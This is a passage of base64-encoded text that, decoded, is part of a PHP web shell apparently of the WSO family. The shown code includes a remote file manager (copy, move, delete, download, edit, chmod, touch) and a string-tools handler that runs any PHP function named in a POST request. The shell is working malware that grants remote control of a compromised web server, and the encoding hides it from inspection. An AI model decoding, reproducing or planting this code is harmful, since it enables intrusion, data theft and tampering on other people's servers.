pcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgQHJlbmFtZSgkX1NFU1NJT05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydmJ10pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3ZlJykpICkgewogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICB9CiAgICAkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwogICAgaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgIGVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsgICAgfQogICAgZ2xvYmFsICRzb3J0OwogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKICAgICAgICAgICAgJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKICAgIH0KICAgIGVjaG8gJzxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2EoKSB7CiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICBpZihkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09IFwnY2hlY2tib3hcJykKICAgICAgICAgICAgICAgIGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwogICAgICAgIH0KICAgICAgICA8L3NjcmlwdD4KICAgICAgICA8dGFibGUgd2lkdGg9XCcxMDAlXCcgY2xhc3M9XCdtYWluXCcgY2VsbHNwYWNpbmc9XCcwXCcgY2VsbHBhZGRpbmc9XCcyXCc+CiAgICAgICAgPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD4nOwogICAgZWNobyAiPHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiAgICAkZGlycyA9ICRmaWxlcyA9ICRsaW5rcyA9IGFycmF5KCk7CiAgICAkbiA9IGNvdW50KCRkaXJDb250ZW50KTsKICAgIGZvcigkaT0wOyRpPCRuOyRpKyspIHsKICAgICAgICAkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwKICAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSksCiAgICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwogICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgJGxpbmtzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnKSk7CiAgICAgICAgZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpCiAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKICAgIH0KICAgICRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKICAgIGZ1bmN0aW9uIGNtcCgkYSwgJGIpIHsKICAgICAgICBpZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykKICAgICAgICAgICAgcmV0dXJuIHN0cmNtcCgkYVskR0xPQkFMU1snc29ydCddWzBdXSwgJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwogICAgICAgIGVsc2UKICAgICAgICAgICAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLTEgOiAxKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKICAgIH0KICAgIHVzb3J0KCRmaWxlcywgImNtcCIpOwogICAgdXNvcnQoJGRpcnMsICJjbXAiKTsKICAgIHVzb3J0KCRsaW5rcywgImNtcCIpOwogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRsaW5rcywgJGZpbGVzKTsKICAgICRsID0gMDsKICAgIGZvcmVhY2goJGZpbGVzIGFzICRmKSB7CiAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiPjxiPlsgJy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pLicgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQogICAgICAgICAgICAuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+PC90cj4nOwogICAgICAgICRsID0gJGw/MDoxOwogICAgfQogICAgZWNobyAnPHRyPjx0ZCBjb2xzcGFuPTU+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVwnRmlsZXNNYW5cJz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgIDxzZWxlY3QgbmFtZT1cJ3AxXCc+PG9wdGlvbiB2YWx1ZT1cJ2NvcHlcJz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ21vdmVcJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2RlbGV0ZVwnPkRlbGV0ZTwvb3B0aW9uPic7CiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpe2VjaG8gJzxvcHRpb24gdmFsdWU9XCdwYXN0ZVwnPlBhc3RlPC9vcHRpb24+JzsgfQogICAgZWNobyAnPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0icmlnaHQiIHdpZHRoPSIwIj48L3RkPjwvdHI+CiAgICA8L2Zvcm0+PC90YWJsZT48L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRlY2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBkZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgIAogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRfUE9TVFsncDEnXSkpCiAgICAgICAgICAgIGVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoCiAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKICAgICAgICAnQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAogICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKICAgICAgICAnVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCiAgICAgICAgJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAogICAgICAgICdtZDUgaGFzaCcgPT4gJ21kNScsCiAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAogICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywKICAgICAgICAnQ1JDMzInID0+ICdjcmMzMicsCiAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCiAgICAgICAgJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCiAgICAgICAgJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAogICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCiAgICAgICAgJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAogICAgICAgICdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbjJoZXgnLAogICAgICAgICdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywgICAgICAgIAogICAgICAgICdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAogICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAogICAgICAgICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCiAgICAgICAgJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAogICAgKTsKICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwogICAgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7CiAgICB9CiAgICBlY2hvIjwvcHJlPjwvZGl2PiI7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewogICAgaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQogICAgICAgICRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwogICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewogICAgICAgIGlmKGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIuJHR5cGUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpCiAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoaXNfZGlyKCRfUE9TVFsncDEnXSkgJiYgaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewoKICAgICAgICB9CiAgICAgICAgZXhpdDsKICAgIH0KICAgIGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsKICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOwogICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgcmV0dXJuOwogICAgfQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7CiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsKICAgIGlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkKICAgICAgICAkX1BPU1RbJ3AyJ10gPSAndmlldyc7CiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkKICAgICAgICAkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICBlbHNlCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICBmb3JlYWNoKCRtIGFzICR2KQogICAgICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CiAgICBlY2hvICc8YnI+PGJyPic7CiAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7CiAgICAgICAgY2FzZSAndmlldyc6CiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkKICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6CiAgICAgICAgICAgIGlmKCBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKI